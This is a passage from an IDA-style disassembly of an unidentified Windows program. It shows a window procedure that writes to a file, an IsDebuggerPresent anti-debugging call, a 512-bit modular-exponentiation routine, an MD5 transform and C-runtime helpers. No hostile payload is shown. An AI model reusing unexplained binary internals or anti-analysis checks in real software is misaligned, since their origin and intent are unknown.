		lea	ecx, byte_432F80
		or	eax, 0FFFFFFFFh


loc_40B5E8:				; CODE XREF: sub_40ADF7+7F6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B5E8
		mov	edi, eax
		push	0
		lea	esi, [ebp+var_23C]
		push	esi
		push	edi
		push	offset byte_432F80
		push	[ebp+var_118]
		call	sub_40C3B0	; WriteFile
		call	sub_40C224	; GetVersion
		push	1
		push	offset byte_445A88
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_23C]
		push	edi
		mov	edi, 8
		sub	edi, dword_43B094
		push	edi
		push	eax
		push	[ebp+var_118]
		call	sub_40C3B0	; WriteFile
		push	[ebp+var_118]
		call	sub_40C1DC	; CloseHandle
		lea	edi, [ebp+var_138]
		lea	esi, aCFw	; "C-FW"
		mov	ecx, 5
		rep movsb
		push	5
		push	ds:dword_41C844
		call	sub_40C500	; ShowWindow
		jmp	short loc_40B685
; ---------------------------------------------------------------------------


loc_40B66D:				; CODE XREF: sub_40ADF7+2Dj
					; sub_40ADF7+49j ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C530	; DefWindowProcA
		jmp	short loc_40B685
; ---------------------------------------------------------------------------
		call	sub_40C2B4	; IsDebuggerPresent


loc_40B685:				; CODE XREF: sub_40ADF7+181j
					; sub_40ADF7+1D6j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40ADF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40B68C	proc near		; CODE XREF: sub_406E3F+1Ap
					; sub_406E3F+2Fp
		jmp	ds:dword_447340
sub_40B68C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40B698	proc near		; CODE XREF: sub_405409+C8p
		jmp	ds:dword_44734C
sub_40B698	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40B6A4	proc near		; CODE XREF: sub_405409+16Ep
		jmp	ds:dword_447350
sub_40B6A4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40B6B0	proc near		; CODE XREF: sub_406A44+75p
		jmp	ds:dword_44735C
sub_40B6B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40B6BC	proc near		; CODE XREF: sub_406A44+4Ap
		jmp	ds:dword_447360
sub_40B6BC	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40B6C8	proc near		; CODE XREF: sub_406A44+37p
		jmp	ds:dword_447364
sub_40B6C8	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40B6D4	proc near		; CODE XREF: sub_4069C8+61p
		jmp	ds:dword_447368
sub_40B6D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B6E0	proc near		; CODE XREF: sub_408886+23p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		pusha
		cld
		mov	edi, [ebp+arg_4]
		mov	eax, 1
		stosd
		mov	ecx, 0Fh
		dec	eax
		rep stosd
		lea	edi, dword_446AB4
		mov	esi, [ebp+arg_0]
		mov	ecx, 10h
		rep movsd
		mov	edi, [ebp+arg_8]
		call	sub_40B7AB
		xor	edx, edx


loc_40B710:				; CODE XREF: sub_40B6E0+52j
		push	edx
		push	ebx
		mov	eax, [ebp+arg_8]
		bt	[eax], edx
		jnb	short loc_40B722
		mov	edx, [ebp+arg_4]
		call	sub_40B73C


loc_40B722:				; CODE XREF: sub_40B6E0+38j
		lea	edx, dword_446AB4
		call	sub_40B73C
		pop	ebx
		pop	edx
		inc	edx
		cmp	edx, ebx
		jbe	short loc_40B710
		popa
		pop	ebp
		retn	10h
sub_40B6E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40B73C	proc near		; CODE XREF: sub_40B6E0+3Dp
					; sub_40B6E0+48p
		lea	edi, dword_446A74
		mov	ecx, 10h
		xor	eax, eax
		rep stosd
		lea	edi, dword_446AB4
		call	sub_40B7AB


loc_40B756:				; CODE XREF: sub_40B73C+5Dj
		lea	edi, dword_446A74
		mov	ecx, 10h
		xor	eax, eax


loc_40B763:				; CODE XREF: sub_40B73C+2Cj
		rcl	dword ptr [edi], 1
		lea	edi, [edi+4]
		loop	loc_40B763
		call	sub_40B7BC
		bt	dword_446AB4, ebx
		jnb	short loc_40B798
		mov	esi, edx
		lea	edi, dword_446A74
		xor	eax, eax
		mov	ecx, 10h


loc_40B787:				; CODE XREF: sub_40B73C+55j
		mov	eax, [esi]
		adc	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40B787
		call	sub_40B7BC


loc_40B798:				; CODE XREF: sub_40B73C+3Aj
		dec	ebx
		jns	short loc_40B756
		mov	edi, edx
		lea	esi, dword_446A74
		mov	ecx, 10h
		rep movsd
		retn
sub_40B73C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7AB	proc near		; CODE XREF: sub_40B6E0+29p
					; sub_40B73C+15p
		mov	ebx, 1FFh


loc_40B7B0:				; CODE XREF: sub_40B7AB+Bj
		bt	[edi], ebx
		jb	short locret_40B7B8
		dec	ebx
		jnz	short loc_40B7B0

locret_40B7B8:				; CODE XREF: sub_40B7AB+8j
		retn
sub_40B7AB	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40B7BC	proc near		; CODE XREF: sub_40B73C+2Ep
					; sub_40B73C+57p
		lea	esi, dword_446A74
		mov	edi, [ebp+14h]
		mov	ecx, 0Fh


loc_40B7CA:				; CODE XREF: sub_40B7BC+19j
		mov	eax, [esi+ecx*4]
		cmp	eax, [edi+ecx*4]
		jb	short locret_40B7F3
		ja	short loc_40B7D7
		dec	ecx
		jns	short loc_40B7CA


loc_40B7D7:				; CODE XREF: sub_40B7BC+16j
		mov	esi, [ebp+14h]
		lea	edi, dword_446A74
		xor	eax, eax
		mov	ecx, 10h


loc_40B7E7:				; CODE XREF: sub_40B7BC+35j
		mov	eax, [esi]
		sbb	[edi], eax
		lea	esi, [esi+4]
		lea	edi, [edi+4]
		loop	loc_40B7E7

locret_40B7F3:				; CODE XREF: sub_40B7BC+14j
		retn
sub_40B7BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B7F4	proc near		; CODE XREF: sub_40B845+32p
					; sub_40B845+50p ...
		mov	eax, ebx
		and	eax, ecx
		push	ebx
		not	ebx
		and	ebx, edx
		or	eax, ebx
		pop	ebx
		retn
sub_40B7F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B801	proc near		; CODE XREF: sub_40B845+219p
					; sub_40B845+238p ...
		mov	eax, ebx
		and	eax, edx
		push	edx
		not	edx
		and	edx, ecx
		or	eax, edx
		pop	edx
		retn
sub_40B801	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B80E	proc near		; CODE XREF: sub_40B845+420p
					; sub_40B845+43Fp ...
		mov	eax, ebx
		xor	eax, ecx
		xor	eax, edx
		retn
sub_40B80E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B815	proc near		; CODE XREF: sub_40B845+627p
					; sub_40B845+645p ...
		mov	eax, edx
		not	eax
		or	eax, ebx
		xor	eax, ecx
		retn
sub_40B815	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B81E	proc near		; CODE XREF: sub_4088C3+8Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	dword ptr [edi], 67452301h
		mov	dword ptr [edi+4], 0EFCDAB89h
		mov	dword ptr [edi+8], 98BADCFEh
		mov	dword ptr [edi+0Ch], 10325476h
		popa
		pop	ebp
		retn	4
sub_40B81E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B845	proc near		; CODE XREF: sub_4088C3+ACp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		pusha
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	eax, [edi]
		mov	dword_446AF4, eax
		mov	eax, [edi+4]
		mov	dword_446AF8, eax
		mov	eax, [edi+8]
		mov	dword_446AFC, eax
		mov	eax, [edi+0Ch]
		mov	dword_446B00, eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B7F4
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0D76AA478h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B7F4
		add	eax, [edi+0Ch]
		add	eax, [esi+4]
		add	eax, 0E8C7B756h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B7F4
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 242070DBh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B7F4
		add	eax, [edi+4]
		add	eax, [esi+0Ch]
		add	eax, 0C1BDCEEEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B7F4
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F57C0FAFh
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B7F4
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A8304613h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B7F4
		add	eax, [edi+4]
		add	eax, [esi+1Ch]
		add	eax, 0FD469501h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B7F4
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 698098D8h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B7F4
		add	eax, [edi+0Ch]
		add	eax, [esi+24h]
		add	eax, 8B44F7AFh
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B7F4
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFFF5BB1h
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B7F4
		add	eax, [edi+4]
		add	eax, [esi+2Ch]
		add	eax, 895CD7BEh
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B7F4
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 6B901122h
		rol	eax, 7
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B7F4
		add	eax, [edi+0Ch]
		add	eax, [esi+34h]
		add	eax, 0FD987193h
		rol	eax, 0Ch
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B7F4
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0A679438Eh
		rol	eax, 11h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B7F4
		add	eax, [edi+4]
		add	eax, [esi+3Ch]
		add	eax, 49B40821h
		rol	eax, 16h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B801
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0F61E2562h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B801
		add	eax, [edi+0Ch]
		add	eax, [esi+18h]
		add	eax, 0C040B340h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B801
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 265E5A51h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B801
		add	eax, [edi+4]
		add	eax, [esi]
		add	eax, 0E9B6C7AAh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B801
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0D62F105Dh
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B801
		add	eax, [edi+0Ch]
		add	eax, [esi+28h]
		add	eax, 2441453h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B801
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 0D8A1E681h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B801
		add	eax, [edi+4]
		add	eax, [esi+10h]
		add	eax, 0E7D3FBC8h
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B801
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 21E1CDE6h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B801
		add	eax, [edi+0Ch]
		add	eax, [esi+38h]
		add	eax, 0C33707D6h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B801
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0F4D50D87h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B801
		add	eax, [edi+4]
		add	eax, [esi+20h]
		add	eax, 455A14EDh
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B801
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 0A9E3E905h
		rol	eax, 5
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B801
		add	eax, [edi+0Ch]
		add	eax, [esi+8]
		add	eax, 0FCEFA3F8h
		rol	eax, 9
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B801
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 676F02D9h
		rol	eax, 0Eh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B801
		add	eax, [edi+4]
		add	eax, [esi+30h]
		add	eax, 8D2A4C8Ah
		rol	eax, 14h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B80E
		add	eax, [edi]
		add	eax, [esi+14h]
		add	eax, 0FFFA3942h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B80E
		add	eax, [edi+0Ch]
		add	eax, [esi+20h]
		add	eax, 8771F681h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B80E
		add	eax, [edi+8]
		add	eax, [esi+2Ch]
		add	eax, 6D9D6122h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B80E
		add	eax, [edi+4]
		add	eax, [esi+38h]
		add	eax, 0FDE5380Ch
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B80E
		add	eax, [edi]
		add	eax, [esi+4]
		add	eax, 0A4BEEA44h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B80E
		add	eax, [edi+0Ch]
		add	eax, [esi+10h]
		add	eax, 4BDECFA9h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B80E
		add	eax, [edi+8]
		add	eax, [esi+1Ch]
		add	eax, 0F6BB4B60h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B80E
		add	eax, [edi+4]
		add	eax, [esi+28h]
		add	eax, 0BEBFBC70h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B80E
		add	eax, [edi]
		add	eax, [esi+34h]
		add	eax, 289B7EC6h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B80E
		add	eax, [edi+0Ch]
		add	eax, [esi]
		add	eax, 0EAA127FAh
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B80E
		add	eax, [edi+8]
		add	eax, [esi+0Ch]
		add	eax, 0D4EF3085h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B80E
		add	eax, [edi+4]
		add	eax, [esi+18h]
		add	eax, 4881D05h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B80E
		add	eax, [edi]
		add	eax, [esi+24h]
		add	eax, 0D9D4D039h
		rol	eax, 4
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B80E
		add	eax, [edi+0Ch]
		add	eax, [esi+30h]
		add	eax, 0E6DB99E5h
		rol	eax, 0Bh
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B80E
		add	eax, [edi+8]
		add	eax, [esi+3Ch]
		add	eax, 1FA27CF8h
		rol	eax, 10h
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B80E
		add	eax, [edi+4]
		add	eax, [esi+8]
		add	eax, 0C4AC5665h
		rol	eax, 17h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B815
		add	eax, [edi]
		add	eax, [esi]
		add	eax, 0F4292244h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B815
		add	eax, [edi+0Ch]
		add	eax, [esi+1Ch]
		add	eax, 432AFF97h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B815
		add	eax, [edi+8]
		add	eax, [esi+38h]
		add	eax, 0AB9423A7h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B815
		add	eax, [edi+4]
		add	eax, [esi+14h]
		add	eax, 0FC93A039h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B815
		add	eax, [edi]
		add	eax, [esi+30h]
		add	eax, 655B59C3h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B815
		add	eax, [edi+0Ch]
		add	eax, [esi+0Ch]
		add	eax, 8F0CCC92h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B815
		add	eax, [edi+8]
		add	eax, [esi+28h]
		add	eax, 0FFEFF47Dh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B815
		add	eax, [edi+4]
		add	eax, [esi+4]
		add	eax, 85845DD1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B815
		add	eax, [edi]
		add	eax, [esi+20h]
		add	eax, 6FA87E4Fh
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B815
		add	eax, [edi+0Ch]
		add	eax, [esi+3Ch]
		add	eax, 0FE2CE6E0h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B815
		add	eax, [edi+8]
		add	eax, [esi+18h]
		add	eax, 0A3014314h
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B815
		add	eax, [edi+4]
		add	eax, [esi+34h]
		add	eax, 4E0811A1h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	ebx, [edi+4]
		mov	ecx, [edi+8]
		mov	edx, [edi+0Ch]
		call	sub_40B815
		add	eax, [edi]
		add	eax, [esi+10h]
		add	eax, 0F7537E82h
		rol	eax, 6
		add	eax, [edi+4]
		mov	[edi], eax
		mov	ebx, [edi]
		mov	ecx, [edi+4]
		mov	edx, [edi+8]
		call	sub_40B815
		add	eax, [edi+0Ch]
		add	eax, [esi+2Ch]
		add	eax, 0BD3AF235h
		rol	eax, 0Ah
		add	eax, [edi]
		mov	[edi+0Ch], eax
		mov	ebx, [edi+0Ch]
		mov	ecx, [edi]
		mov	edx, [edi+4]
		call	sub_40B815
		add	eax, [edi+8]
		add	eax, [esi+8]
		add	eax, 2AD7D2BBh
		rol	eax, 0Fh
		add	eax, [edi+0Ch]
		mov	[edi+8], eax
		mov	ebx, [edi+8]
		mov	ecx, [edi+0Ch]
		mov	edx, [edi]
		call	sub_40B815
		add	eax, [edi+4]
		add	eax, [esi+24h]
		add	eax, 0EB86D391h
		rol	eax, 15h
		add	eax, [edi+8]
		mov	[edi+4], eax
		mov	eax, dword_446AF4
		add	[edi], eax
		mov	eax, dword_446AF8
		add	[edi+4], eax
		mov	eax, dword_446AFC
		add	[edi+8], eax
		mov	eax, dword_446B00
		add	[edi+0Ch], eax
		popa
		pop	ebp
		xor	eax, eax
		retn	8
sub_40B845	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C090	proc near		; CODE XREF: sub_4096E4+CADp

var_1C		= dword	ptr -1Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		fnstcw	[ebp+var_2]
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		fldcw	[ebp+var_2]
		leave
		retn
sub_40C090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C0B4	proc near		; CODE XREF: sub_401219+66p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		call	sub_40C17C	; GetCommandLineA
		mov	edi, eax
		cmp	byte ptr [edi],	22h
		jnz	short loc_40C0E8
		push	22h
		mov	eax, edi
		inc	eax
		push	eax
		call	sub_40C6E0
		add	esp, 8
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_40C103
		mov	edi, eax
		inc	edi
		jmp	short loc_40C0E0
; ---------------------------------------------------------------------------


loc_40C0DF:				; CODE XREF: sub_40C0B4+2Fj
		inc	edi


loc_40C0E0:				; CODE XREF: sub_40C0B4+29j
		cmp	byte ptr [edi],	20h
		jz	short loc_40C0DF
		jmp	short loc_40C103
; ---------------------------------------------------------------------------


loc_40C0E7:				; CODE XREF: sub_40C0B4+3Ej
		inc	edi


loc_40C0E8:				; CODE XREF: sub_40C0B4+Fj
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C0F4
		cmp	eax, 20h
		jnz	short loc_40C0E7


loc_40C0F4:				; CODE XREF: sub_40C0B4+39j
		jmp	short loc_40C0F7
; ---------------------------------------------------------------------------


loc_40C0F6:				; CODE XREF: sub_40C0B4+4Dj
		inc	edi


loc_40C0F7:				; CODE XREF: sub_40C0B4:loc_40C0F4j
		movsx	eax, byte ptr [edi]
		or	eax, eax
		jz	short loc_40C103
		cmp	eax, 20h
		jz	short loc_40C0F6


loc_40C103:				; CODE XREF: sub_40C0B4+24j
					; sub_40C0B4+31j ...
		push	0
		call	sub_40C1D0	; GetModuleHandleA
		push	1
		push	edi
		push	0
		push	eax
		call	sub_40A4E2
		pop	edi
		leave
		retn
sub_40C0B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C118	proc near		; CODE XREF: sub_40133E+8p
					; sub_402B12+8p ...

var_FFC		= dword	ptr -0FFCh

		pop	ecx


loc_40C119:				; CODE XREF: sub_40C118+14j
		sub	esp, 1000h
		sub	eax, 1000h
		test	[esp+0FFCh+var_FFC], eax
		cmp	eax, 1000h
		jnb	short loc_40C119
		sub	esp, eax
		test	[esp+0FFCh+var_FFC], eax
		jmp	ecx
sub_40C118	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40C138	proc near		; CODE XREF: sub_401C5D+D4p
					; sub_405409+3Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		xor	eax, eax
		mov	ecx, 0FFFFFFFFh
		xchg	edi, edx
		repne scasb
		neg	ecx
		lea	ecx, [ecx-1]
		mov	eax, [esp+arg_4]
		xchg	eax, esi
		mov	edi, [esp+arg_0]
		rep movsb
		xchg	eax, esi
		xchg	edx, edi
		mov	eax, [esp+arg_0]
		retn	8
sub_40C138	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


